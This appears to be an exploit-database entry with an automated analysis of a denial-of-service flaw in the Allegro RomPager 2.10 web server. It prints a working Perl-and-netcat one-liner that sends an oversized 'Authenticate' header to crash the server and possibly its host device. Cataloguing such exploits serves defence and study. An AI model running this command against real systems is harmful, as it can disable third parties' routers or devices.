Allegro RomPager 2.10 - URL Request Denial of Service

ExploitDBExploitDB exploitExploitEDB-10237

PoC files

1 file

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

ExploitDB
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact provides a one-liner Perl command that sends a malformed HTTP request with an overly long Authenticate header to crash the Allegro RomPager HTTP server, constituting a denial-of-service exploit.

Backdoor review

No backdoor observed in reviewed code

The artifact is a text description of a denial-of-service vulnerability in Allegro RomPager, accompanied by a proof-of-concept command line. The PoC constructs a malformed HTTP request with an overly long Authenticate header and sends it via netcat. No backdoor, deceptive payload, or concealed operator-directed harm is present.

ClassificationExploit
Model confidence95%
AuthenticationNot required
LanguagesPerlshell
Target softwareAllegro RomPager
Attack typesdenial of service
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The artifact contains executable code (a Perl one-liner piped to netcat) that sends a specifically malformed request to trigger a crash, which is the definition of an exploit.

exploits/hardware/dos/10237.txt:15

Requirements

  • Target must be running Allegro RomPager HTTP server on port 80.exploits/hardware/dos/10237.txt:1
  • Attacker must have network access to the target and ability to execute Perl and netcat.exploits/hardware/dos/10237.txt:15

Observed behavior

  • Sends an HTTP GET request with an Authenticate header containing 1024 'A' characters to the target server on port 80.exploits/hardware/dos/10237.txt:15
  • Causes the RomPager server and possibly the parent device to crash, resulting in denial of service.exploits/hardware/dos/10237.txt:3
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Command Line
perl -e 'print "GET / HTTP/1.1\r\nHost: '"$ip_address"'\r\nAuthenticate: " . 'A' x 1024 . "\r\n\r\n"' | nc "$ip_address" 80The PoC sends a single HTTP request with a 1024-byte Authenticate header to the target, consistent with the described denial-of-service vulnerability.exploits/hardware/dos/10237.txt:15
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1